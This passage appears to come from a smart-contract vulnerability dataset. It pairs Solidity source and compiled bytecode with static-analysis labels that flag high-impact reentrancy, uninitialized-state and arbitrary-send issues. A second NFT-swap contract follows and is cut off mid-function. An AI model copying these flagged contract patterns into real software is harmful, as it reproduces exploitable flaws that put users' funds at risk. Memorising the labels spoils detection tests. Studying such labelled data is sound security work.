if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101dc5760003560e01c806393310ffe11610102578063ccfa214f11610095578063e01af92c11610064578063e01af92c14610539578063e8078d9414610559578063efab831c1461056e578063f851a4401461058857600080fd5b8063ccfa214f1461049f578063d543dbeb146104be578063d6e242b8146104de578063dd62ed3e146104f357600080fd5b8063b38fe957116100d1578063b38fe95714610440578063b5c2287714610455578063c3c8cd8014610475578063c9567bf91461048a57600080fd5b806393310ffe146103e0578063936af9111461040057806395d89b41146101e8578063a9059cbb1461042057600080fd5b80635b8a194a1161017a5780636fc3eaec116101495780636fc3eaec1461037857806370a082311461038d578063715018a6146103ad5780638da5cb5b146103c257600080fd5b80635b8a194a146102f75780635f6529a31461030c57806361086b00146103445780636e9960c31461035a57600080fd5b806323b872dd116101b657806323b872dd146102835780632baa3c9e146102a35780632ecaf675146102c5578063313ce567146102db57600080fd5b806306fdde03146101e8578063095ea7b31461022757806318160ddd1461025757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506040805180820182526007815266232829a1a7a4a760c91b6020820152905161021e91906124b0565b60405180910390f35b34801561023357600080fd5b506102476102423660046122ee565b6105a8565b604051901515815260200161021e565b34801561026357600080fd5b506ec097ce7bc90715b34b9f10000000005b60405190815260200161021e565b34801561028f57600080fd5b5061024761029e3660046122ae565b610780565b3480156102af57600080fd5b506102c36102be36600461223e565b610935565b005b3480156102d157600080fd5b50610275601d5481565b3480156102e757600080fd5b506040516012815260200161021e565b34801561030357600080fd5b506102c36109c4565b34801561031857600080fd5b5060195461032c906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561035057600080fd5b50610275601e5481565b34801561036657600080fd5b50601c546001600160a01b031661032c565b34801561038457600080fd5b506102c3610a31565b34801561039957600080fd5b506102756103a836600461223e565b610a3e565b3480156103b957600080fd5b506102c3610a66565b3480156103ce57600080fd5b506000546001600160a01b031661032c565b3480156103ec57600080fd5b506102c36103fb3660046122ee565b610ada565b34801561040c57600080fd5b506102c361041b366004612319565b610b5d565b34801561042c57600080fd5b5061024761043b3660046122ee565b610c6f565b34801561044c57600080fd5b506102c3610d37565b34801561046157600080fd5b506102c36104703660046123c1565b610e44565b34801561048157600080fd5b506102c3610f58565b34801561049657600080fd5b506102c3610f6e565b3480156104ab57600080fd5b50601f5461024790610100900460ff1681565b3480156104ca57600080fd5b506102c36104d936600461246b565b610fc3565b3480156104ea57600080fd5b506102c361109c565b3480156104ff57600080fd5b5061027561050e366004612276565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561054557600080fd5b506102c3610554366004612389565b61112a565b34801561056557600080fd5b506102c3611172565b34801561057a57600080fd5b50601f546102479060ff1681565b34801561059457600080fd5b50601c5461032c906001600160a01b031681565b60008282601f60019054906101000a900460ff161561072057601f546040516323d5f9df60e11b81523360048201526001600160a01b038481166024830152604482018490526201000090920491909116906347abf3be90606401600060405180830381600087803b15801561061d57600080fd5b505af1158015610631573d6000803e3d6000fd5b50505050836000148061066557503360009081526005602090815260408083206001600160a01b0389168452909152902054155b61068a5760405162461bcd60e51b81526004016106819061256f565b60405180910390fd5b610696335b86866114e3565b601f54600193506201000090046001600160a01b031663900f66ef335b6040516001600160e01b031960e084901b1681526001600160a01b039182166004820152908516602482015260448101849052606401600060405180830381600087803b15801561070357600080fd5b505af1158015610717573d6000803e3d6000fd5b50505050610778565b83158061074e57503360009081526005602090815260408083206001600160a01b0389168452909152902054155b61076a5760405162461bcd60e51b81526004016106819061256f565b6107733361068f565b600192505b505092915050565b6000838383601f60019054906101000a900460ff161561091157601f546201000090046001600160a01b031663379f5c69336040516001600160e01b031960e084901b1681526001600160a01b0391821660048201528187166024820152908516604482015260648101849052608401600060405180830381600087803b15801561080a57600080fd5b505af115801561081e573d6000803e3d6000fd5b5050505061082d878787611607565b61088087335b61087b88604051806060016040528060288152602001612700602891396001600160a01b038d166000908152600560209081526040808320338452909152902054919061199c565b6114e3565b601f54600194506201000090046001600160a01b031663a56e8adf336040516001600160e01b031960e084901b1681526001600160a01b0391821660048201528187166024820152908516604482015260648101849052608401600060405180830381600087803b1580156108f457600080fd5b505af1158015610908573d6000803e3d6000fd5b5050505061092b565b61091c878787611607565b6109268733610833565b600193505b5050509392505050565b6019546001600160a01b0316336001600160a01b0316146109685760405162461bcd60e51b815260040161068190612538565b601c546040516001600160a01b038084169216907f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f90600090a3601c80546001600160a01b0319166001600160a01b0392909216919091179055565b6019546001600160a01b0316336001600160a01b0316146109f75760405162461bcd60e51b815260040161068190612538565b601f805461ffff19166101001790556040517fa4a40bdd0a809720a61b44f1b3497ce7dad87741a0ba3b961c2e65e645060e7090600090a1565b47610a3b816119d6565b50565b6001600160a01b038116600090815260026020526040812054610a6090611b24565b92915050565b6000546001600160a01b03163314610a905760405162461bcd60e51b815260040161068190612503565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6019546001600160a01b0316336001600160a01b031614610b0d5760405162461bcd60e51b815260040161068190612538565b601a80546001600160a01b0319166001600160a01b038416908117909155601b8290556040517fc5666bfdfb79a4b0b4abdbc565d6e9937a263233b2b378c55132d34dc5784a3690600090a25050565b601f546201000090046001600160a01b0316336001600160a01b031614610bc65760405162461bcd60e51b815260206004820152601e60248201527f4c45524332303a204f6e6c79206c6f73736c65737320636f6e747261637400006044820152606401610681565b60005b81811015610c6a57610c58838383818110610bf457634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610c09919061223e565b601f546201000090046001600160a01b0316610c53868686818110610c3e57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906103a8919061223e565b611607565b80610c6281612695565b915050610bc9565b505050565b60008282601f60019054906101000a900460ff1615610d2e57601f54604051631ffb811f60e01b81523360048201526001600160a01b03848116602483015260448201849052620100009092049190911690631ffb811f90606401600060405180830381600087803b158015610ce457600080fd5b505af1158015610cf8573d6000803e3d6000fd5b50505050610d0d610d063390565b8686611607565b601f54600193506201000090046001600160a01b031663f49062ca336106b3565b61077333610d06565b6019546001600160a01b0316336001600160a01b031614610d6a5760405162461bcd60e51b815260040161068190612538565b601f5460ff16610dbc5760405162461bcd60e51b815260206004820152601c60248201527f4c45524332303a205475726e4f6666206e6f742070726f706f736564000000006044820152606401610681565b42601e541115610e0e5760405162461bcd60e51b815260206004820152601d60248201527f4c45524332303a2054696d65206c6f636b20696e2070726f67726573730000006044820152606401610681565b601f805461ffff191690556040517f5b534e2716e5ad68b9f67521378f8199a7ceb9d3f6f354275dad33fe42cf710a90600090a1565b601a546001600160a01b0316336001600160a01b031614610ea75760405162461bcd60e51b815260206004820152601960248201527f4c45524332303a204d7573742062652063616e646974617465000000000000006044820152606401610681565b601b548151602083012014610ef45760405162461bcd60e51b81526020600482015260136024820152724c45524332303a20496e76616c6964206b657960681b6044820152606401610681565b601a546019546040516001600160a01b0392831692909116907f1c7f382531621f02aefb4212478bba8871ffad078202bdbba87f3e21d639aebb90600090a350601a54601980546001600160a01b0319166001600160a01b03909216919091179055565b6000610f6330610a3e565b9050610a3b81611ba8565b6000546001600160a01b03163314610f985760405162461bcd60e51b815260040161068190612503565b602154600160a81b900460ff16610fae57600080fd5b6021805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610fed5760405162461bcd60e51b815260040161068190612503565b6000811161103d5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610681565b611061606461105b6ec097ce7bc90715b34b9f100000000084611d4e565b90611dcd565b60228190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6019546001600160a01b0316336001600160a01b0316146110cf5760405162461bcd60e51b815260040161068190612538565b601d546110dc9042612627565b601e819055601f805460ff191660011790556040517f88e0be0448355c71674462d3cb36342f0d085f7b43a1deab03052c95eb158709916111209190815260200190565b60405180910390a1565b6000546001600160a01b031633146111545760405162461bcd60e51b815260040161068190612503565b60218054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461119c5760405162461bcd60e51b815260040161068190612503565b602080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556111df30826ec097ce7bc90715b34b9f10000000006114e3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561121857600080fd5b505afa15801561122c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611250919061225a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561129857600080fd5b505afa1580156112ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d0919061225a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561131857600080fd5b505af115801561132c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611350919061225a565b602180546001600160a01b0319166001600160a01b039283161790556020541663f305d719473061138081610a3e565b6000806113956000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156113f857600080fd5b505af115801561140c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114319190612483565b50506021805462ff00ff60a81b1981166201000160a81b179091556729a2241af62c000060225560205460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156114a757600080fd5b505af11580156114bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114df91906123a5565b5050565b6001600160a01b0383166115455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610681565b6001600160a01b0382166115a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610681565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661166b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610681565b6001600160a01b0382166116cd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610681565b6000811161172f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610681565b6000546001600160a01b0384811691161480159061175b57506000546001600160a01b03838116911614155b1561193f576021546001600160a01b03848116911614801561178b57506020546001600160a01b03838116911614155b80156117b057506001600160a01b03821660009081526006602052604090205460ff16155b1561180957602154600160a01b900460ff166117cb57600080fd5b6022548111156117da57600080fd5b6001600160a01b0382166000908152600c602052604090205442116117fe57600080fd5b6007600a5560036009555b600061181430610a3e565b602154909150600160b01b900460ff1615801561183f57506021546001600160a01b03858116911614155b80156118545750602154600160b81b900460ff165b1561193d576021546118829060649061105b9060039061187c906001600160a01b0316610a3e565b90611d4e565b821115801561189357506022548211155b61189c57600080fd5b6001600160a01b0384166000908152600c6020908152604080832054600d909252909120546118cb919061267e565b6001600160a01b0385166000908152600e6020526040902081905562278d001115611917576001600160a01b0384166000908152600e602052604090205461191290611e0f565b611922565b6007600a5560036009555b61192b81611ba8565b47801561193b5761193b476119d6565b505b505b6001600160a01b03831660009081526006602052604090205460019060ff168061198157506001600160a01b03831660009081526006602052604090205460ff165b1561198a575060005b61199684848484611e4e565b50505050565b600081848411156119c05760405162461bcd60e51b815260040161068191906124b0565b5060006119cd848661267e565b95945050505050565b600f546001600160a01b03166108fc6119f0836005611dcd565b6040518115909202916000818181858888f19350505050158015611a18573d6000803e3d6000fd5b506011546001600160a01b03166108fc611a33836005611dcd565b6040518115909202916000818181858888f19350505050158015611a5b573d6000803e3d6000fd5b506012546001600160a01b03166108fc611a76836005611dcd565b6040518115909202916000818181858888f19350505050158015611a9e573d6000803e3d6000fd5b506013546001600160a01b03166108fc611ab9836005611dcd565b6040518115909202916000818181858888f19350505050158015611ae1573d6000803e3d6000fd5b506017546001600160a01b03166108fc611afc836005611dcd565b6040518115909202916000818181858888f193505050501580156114df573d6000803e3d6000fd5b6000600754821115611b8b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610681565b6000611b95611e7a565b9050611ba18382611dcd565b9392505050565b6021805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611bfe57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092018101919091528054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611c5157600080fd5b505afa158015611c65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c89919061225a565b81600181518110611caa57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920181019190915254611cd291309116846114e3565b60205460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d0b9085906000908690309042906004016125b7565b600060405180830381600087803b158015611d2557600080fd5b505af1158015611d39573d6000803e3d6000fd5b50506021805460ff60b01b1916905550505050565b600082611d5d57506000610a60565b6000611d69838561265f565b905082611d76858361263f565b14611ba15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610681565b6000611ba183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e9d565b611e1f600561105b836003611d4e565b611e2a90601961267e565b600955611e3d603261105b83603f611d4e565b611e4890602d61267e565b600a5550565b80611e5b57611e5b611ecb565b611e66848484611eee565b806119965761199660036009556007600a55565b6000806000611e87611fe5565b9092509050611e968282611dcd565b9250505090565b60008183611ebe5760405162461bcd60e51b815260040161068191906124b0565b5060006119cd848661263f565b600954158015611edb5750600a54155b15611ee257565b60006009819055600a55565b600080600080600080611f0087612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f329087612090565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f6190866120d2565b6001600160a01b038916600090815260026020526040902055611f8381612131565b611f8d848361217b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fd291815260200190565b60405180910390a3505050505050505050565b60075460009081906ec097ce7bc90715b34b9f10000000006120078282611dcd565b82101561202a575050600754926ec097ce7bc90715b34b9f100000000092509050565b90939092509050565b60008060008060008060008060006120508a600954600a5461219f565b9250925092506000612060611e7a565b905060008060006120738e8787876121ee565b919e509c509a509598509396509194505050505091939550919395565b6000611ba183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061199c565b6000806120df8385612627565b905083811015611ba15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610681565b600061213b611e7a565b905060006121498383611d4e565b3060009081526002602052604090205490915061216690826120d2565b30600090815260026020526040902055505050565b6007546121889083612090565b60075560085461219890826120d2565b6008555050565b60008080806121b3606461105b8989611d4e565b905060006121c6606461105b8a89611d4e565b905060006121de826121d88b86612090565b90612090565b9992985090965090945050505050565b60008080806121fd8886611d4e565b9050600061220b8887611d4e565b905060006122198888611d4e565b9050600061222b826121d88686612090565b939b939a50919850919650505050505050565b60006020828403121561224f578081fd5b8135611ba1816126dc565b60006020828403121561226b578081fd5b8151611ba1816126dc565b60008060408385031215612288578081fd5b8235612293816126dc565b915060208301356122a3816126dc565b809150509250929050565b6000806000606084860312156122c2578081fd5b83356122cd816126dc565b925060208401356122dd816126dc565b929592945050506040919091013590565b60008060408385031215612300578182fd5b823561230b816126dc565b946020939093013593505050565b6000806020838503121561232b578182fd5b823567ffffffffffffffff80821115612342578384fd5b818501915085601f830112612355578384fd5b813581811115612363578485fd5b8660208260051b8501011115612377578485fd5b60209290920196919550909350505050565b60006020828403121561239a578081fd5b8135611ba1816126f1565b6000602082840312156123b6578081fd5b8151611ba1816126f1565b6000602082840312156123d2578081fd5b813567ffffffffffffffff808211156123e9578283fd5b818401915084601f8301126123fc578283fd5b81358181111561240e5761240e6126c6565b604051601f8201601f19908116603f01168101908382118183101715612436576124366126c6565b8160405282815287602084870101111561244e578586fd5b826020860160208301379182016020019490945295945050505050565b60006020828403121561247c578081fd5b5035919050565b600080600060608486031215612497578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156124dc578581018301518582016040015282016124c0565b818111156124ed5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601e908201527f4c45524332303a204d757374206265207265636f766572792061646d696e0000604082015260600190565b60208082526028908201527f4c45524332303a2043616e6e6f74206368616e6765206e6f6e207a65726f20616040820152676c6c6f77616e636560c01b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156126065784516001600160a01b0316835293830193918301916001016125e1565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561263a5761263a6126b0565b500190565b60008261265a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612679576126796126b0565b500290565b600082821015612690576126906126b0565b500390565b60006000198214156126a9576126a96126b0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a3b57600080fd5b8015158114610a3b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a300e961cdc8d5940df7be4ecb66559f6a3af1f1c410c74243cf6b12934ee52664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,669
0xb8ba178b2180bb09e27977f443ff01280dacb235
//SPDX-License-Identifier: MIT pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC1155 { event TransferSingle( address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount ); event TransferBatch( address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts ); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _amount, uint256 indexed _id); function mint( address _to, uint256 _id, uint256 _quantity, bytes calldata _data ) external; function create( uint256 _maxSupply, uint256 _initialSupply, string calldata _uri, bytes calldata _data ) external returns (uint256 tokenId); function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data ) external; function safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data ) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract NFTSwapper_Representative is Ownable { uint256 public nftid; mapping(address => bool) private purchased; address public seller; address public rarigang; address public currency; uint256 public price; bool public active; constructor(uint256 _nftid, address _seller, bool _active, address _rarigang, address _currency, uint256 _price) public{ nftid = _nftid; seller = _seller; active = _active; rarigang = _rarigang; currency = _currency; price = _price; } function setActive(bool isActive) public onlyOwner{ active = isActive; } function hasPurchased(address buyer) public view returns (bool){ return purchased[buyer]; } function purchase() public { require(!purchased[msg.sender], "Cannot buy: Already purchased!"); require(active, "Cannot buy: Market not active!"); require(IERC1155(rarigang).balanceOf(seller, nftid) > 0, "Cannot buy: No more available!"); require(IERC20(currency).balanceOf(msg.sender) >= price*1e18, "Cannot buy: Need more coin!"); IERC1155(rarigang).safeTransferFrom(seller, msg.sender, nftid, 1, ""); IERC20(currency).transferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD, price*1e18); 